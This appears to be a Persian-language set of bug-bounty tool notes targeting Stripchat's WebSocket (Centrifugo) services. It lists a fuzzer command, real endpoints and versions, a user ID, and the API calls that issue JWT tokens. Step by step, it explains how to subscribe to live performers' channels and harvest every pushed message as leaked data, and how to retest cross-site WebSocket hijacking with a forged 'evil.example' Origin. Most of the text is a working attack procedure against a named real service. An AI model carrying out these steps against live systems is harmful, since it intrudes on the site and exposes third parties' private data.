‏نوت‌های ابزار: bounty-fuzzer websocket --config targets/stripchat/target.json --run-id run-20261113T202659Z-3e92a7ae8d --url <wss-url> --message $'{"connect":{"token":"'"$TOK"'","name":"js"},"id":1}\n{"subscribe":{"channel":"X"},"id":2}' --max-messages 20 --active --full-body --header 'Origin: https://stripchat.com'. هر فراخوانی = یک اتصال تازه؛ همه‌ی دستورهای یک session را در یک فریم --message با newline لیتترال جدا کن.

مراحل استخراج‌شده
  1. ۱‏دو سرویس Centrifugo روی همان هویت JWT ‏(sub=290774867):
  2. ۲‏`wss://websocket-sp-v6.stripchat.com/connection/websocket` — Centrifugo 6.7.2 مربوط به OSS. دستورهای JSON با جداکننده‌ی newline در *یک* فریم text کار می‌کنند ‏(connect+subscribe+history را بَچ در یک --message بزن).
  3. ۳‏`wss://websocket-apps.stripchat.com/connection/websocket?cf_protocol_version=v2` — Centrifugo 4.1.5. پارامتر `?cf_protocol_version=v2` الزامی است — بدون آن سرور بعد از اولین فریم می‌بندد ‏(close مربوط به ۴۴ بایت).
  4. ۴‏توکن‌های WS تازه‌ی per-user: `GET /api/front/v3/config/initial-dynamic?requestPath=/` ‏(کوکی session می‌خواهد) ← `initialDynamic.websocket.token` ‏(برای sp) و `initialDynamic.websocketApps.token` ‏(برای apps). payload مربوط به JWT برابر `{"sub":"<uid>","info":{"isGuest":false,"userId":<uid>}}` است.
  5. ۵‏bootstrap مربوط به guest یعنی `GET /api/vr/v3/config/initial` توکن cometAuth مربوط به guest صادر می‌کند — توکن‌های guest روی connect بسته می‌شوند ‏(به توکن کاربر واقعی نیاز است).
  6. ۶‏گرفتن داده: کانال‌های شلوغ را subscribe کن ‏(کانال‌های user/broadcast مربوط به مدل‌های زنده — idهای مدل آنلاین را از `GET /api/front/v2/models?limit=N&primaryTag=girls` *بدون* session بگیر، با آن ۴۰۱ می‌دهد) و با --max-messages بالا برای کل پنجره‌ی ابزار نگه دار؛ *هر* فریم `{"push":...}` = نشت publication ← فوراً یافته را ثبت کن.
  7. ۷‏تریگر خودرویداد: کانال `user290774867` خودت را روی apps subscribe کن، بعد یک اکشن احرازشده‌ی کم‌اثر انجام بده ‏(تاگل favorite، تغییر settings) و منتظر push بمان — اثبات می‌کند کانال رویدادهای زنده حمل می‌کند، که subscribe مربوط به بین-کاربر را باگ حریم خصوصی واقعی می‌کند.
  8. ۸‏زاویه‌ی CSWSH قبلاً مستندشده: handshake مربوط به sp-v6 از Origin چشم‌پوشی می‌کند ‏(۱۰۱ بدون چک Origin) — اگر سایت handshake مربوط به WS را از طریق کوکی ambient روی *هر* مسیری احراز می‌کند، با `--header 'Origin: https://evil.example'` بازتأیید کن که آیا ۱۰۱ پایدار می‌ماند ‏(session کوکی‌محور است ← CSWSH به صفحه‌ی مهاجم اجازه می‌دهد استریم را به‌عنوان قربانی باز کند).